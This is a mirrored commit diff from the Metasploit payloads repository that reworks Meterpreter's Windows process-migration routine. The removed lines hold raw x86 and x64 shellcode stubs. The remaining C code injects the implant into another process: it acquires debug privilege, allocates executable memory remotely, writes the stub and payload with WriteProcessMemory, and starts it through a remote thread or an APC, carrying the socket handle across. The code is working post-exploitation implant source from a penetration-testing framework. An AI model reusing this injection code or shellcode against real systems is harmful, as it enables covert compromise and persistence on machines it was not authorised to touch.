1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-08 23:33:07 +01:00

Land #155, Move migration stub to MSF

This commit is contained in:
William Webb 2016-12-19 13:16:29 -06:00
commit a43afa7139
No known key found for this signature in database
GPG Key ID: 341763D0308DA650
6 changed files with 110 additions and 97 deletions

View File

@ -31,7 +31,7 @@ remote_request_core_migrate(Remote *remote, Packet *packet)
// Get the target process architecture to inject into
l.arch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
// Get the length of the library buffer
l.length = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
l.length = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);
// Receive the actual migration library buffer
l.data = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
// Get the library entry point

View File

@ -2,63 +2,19 @@
#include "base_inject.h"
#include "../../../config.h"
// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm'
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
"\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
"\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C"
"\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B"
"\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0"
"\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24"
"\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01"
"\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51"
"\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00"
"\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E"
"\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF"
"\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm'
BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8"
"\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48"
"\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48"
"\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
"\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52"
"\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B"
"\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48"
"\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34"
"\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41"
"\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8"
"\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40"
"\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E"
"\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0"
"\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77"
"\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0"
"\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07"
"\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5"
"\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02"
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
// We force 64bit algnment for HANDLES and POINTERS in order
// to be cross compatable between x86 and x64 migration.
typedef struct _MIGRATECONTEXT
DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer)
{
union
*contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, sizeof(COMMONMIGRATCONTEXT));
if (*contextBuffer == NULL)
{
HANDLE hEvent;
BYTE bPadding1[8];
} e;
return ERROR_OUTOFMEMORY;
}
union
{
LPBYTE lpPayload;
BYTE bPadding2[8];
} p;
*contextSize = sizeof(COMMONMIGRATCONTEXT);
WSAPROTOCOL_INFO info;
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
return ERROR_SUCCESS;
}
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
{
@ -527,7 +483,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
LPVOID lpMigrateStub = NULL;
LPBYTE lpMemory = NULL;
LPBYTE lpUuid = NULL;
MIGRATECONTEXT ctx = { 0 };
LPCOMMONMIGRATECONTEXT ctx = NULL;
DWORD ctxSize = 0;
DWORD dwMigrateStubLength = 0;
DWORD dwPayloadLength = 0;
DWORD dwProcessID = 0;
@ -552,7 +509,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
// Get the length of the payload buffer
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);
// Receive the actual migration payload buffer
lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
@ -560,6 +517,10 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
// Get handles to the updated UUIDs if they're there
lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);
// Get the migrate stub information
dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN);
lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB);
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);
// If we can, get SeDebugPrivilege...
@ -593,13 +554,19 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
remote->config_create(remote, lpUuid, &config, &configSize);
dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);
if (config->session.comms_fd)
if (remote->transport->get_migrate_context != NULL)
{
// Duplicate the socket for the target process if we are SSL based
if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR)
{
BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
}
dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx);
}
else
{
dwResult = get_migrate_context(&ctxSize, &ctx);
}
if (dwResult != ERROR_SUCCESS)
{
dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult);
break;
}
// Create a notification event that we'll use to know when it's safe to exit
@ -607,71 +574,57 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (!hEvent)
{
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed")
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");
}
// Duplicate the event handle for the target process
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
{
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed")
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed");
}
// Get the architecture specific process migration stub...
if (dwDestinationArch == PROCESS_ARCH_X86)
{
lpMigrateStub = (LPVOID)&migrate_stub_x86;
dwMigrateStubLength = sizeof(migrate_stub_x86);
}
else if (dwDestinationArch == PROCESS_ARCH_X64)
{
lpMigrateStub = (LPVOID)&migrate_stub_x64;
dwMigrateStubLength = sizeof(migrate_stub_x64);
}
else
{
SetLastError(ERROR_BAD_ENVIRONMENT);
dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
break;
}
dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);
// Allocate memory for the migrate stub, context, payload and configuration block
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpMemory)
{
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed")
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed");
}
// Calculate the address of the payload...
ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT);
ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;
// Write the migrate stub to memory...
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed")
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed");
}
// Write the migrate context to memory...
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT));
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL))
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize);
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed")
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed");
}
// Write the migrate payload to memory...
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength);
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength);
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed")
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed");
}
// finally write the configuration stub
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize);
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL))
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize);
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed")
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed");
}
free(ctx);
// First we try to migrate by directly creating a remote thread in the target process
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
@ -680,7 +633,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
// If that fails we can try to migrate via a queued APC in the target process
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed")
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
}
}

View File

@ -75,4 +75,21 @@ typedef struct _MetsrvConfig
// \x00
} MetsrvConfig;
// We force 64bit alignment for HANDLES and POINTERS in order
// to be cross compatible between x86 and x64 migration.
typedef struct _COMMONMIGRATECONTEXT
{
union
{
HANDLE hEvent;
BYTE bPadding1[8];
} e;
union
{
LPBYTE lpPayload;
BYTE bPadding2[8];
} p;
} COMMONMIGRATCONTEXT, * LPCOMMONMIGRATECONTEXT;
#endif

View File

@ -136,13 +136,15 @@ typedef enum
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
// Transport switching
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.

View File

@ -39,6 +39,7 @@ typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
typedef BOOL(*PTransportInit)(Transport* transport);
typedef BOOL(*PTransportDeinit)(Transport* transport);
typedef void(*PTransportDestroy)(Transport* transport);
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
@ -242,6 +243,7 @@ typedef struct _Transport
PTransportDestroy transport_destroy; ///! Destroy the transport.
PServerDispatch server_dispatch; ///! Transport dispatch function.
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific.
STRTYPE url; ///! Full URL describing the comms in use.
VOID* ctx; ///! Pointer to the type-specific transport context;
TimeoutSettings timeouts; ///! Container for the timeout settings.

View File

@ -5,6 +5,13 @@
#include "../../common/common.h"
#include <ws2tcpip.h>
// TCP-transport specific migration stub.
typedef struct _TCPMIGRATECONTEXT
{
COMMONMIGRATCONTEXT common;
WSAPROTOCOL_INFOA info;
} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT;
// These fields aren't defined unless the SDK version is set to something old enough.
// So we define them here instead of dancing with SDK versions, allowing us to move on
// and still support older versions of Windows.
@ -1155,6 +1162,37 @@ void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config
}
}
/*!
* @brief Create a migration context that is specific to this transport type.
* @param transport Transport data to create the configuration from.
* @param targetProcessId ID of the process that we will be migrating into.
* @param targetProcessHandle Handle to the target process.
* @param contextSize Buffer that will receive the size of the generated context.
* @param contextBufer Buffer that will receive the generated context.
* @return Indication of success or failure.
*/
static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer)
{
LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT));
if (ctx == NULL)
{
return ERROR_OUTOFMEMORY;
}
// Duplicate the socket for the target process if we are SSL based
if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR)
{
free(ctx);
return WSAGetLastError();
}
*contextSize = sizeof(TCPMIGRATECONTEXT);
*contextBuffer = (PBYTE)ctx;
return ERROR_SUCCESS;
}
/*!
* @brief Creates a new TCP transport instance.
* @param config The TCP configuration block.
@ -1184,6 +1222,7 @@ Transport* transport_create_tcp(MetsrvTransportTcp* config)
transport->get_socket = transport_get_socket_tcp;
transport->ctx = ctx;
transport->comms_last_packet = current_unix_timestamp();
transport->get_migrate_context = get_migrate_context_tcp;
return transport;
}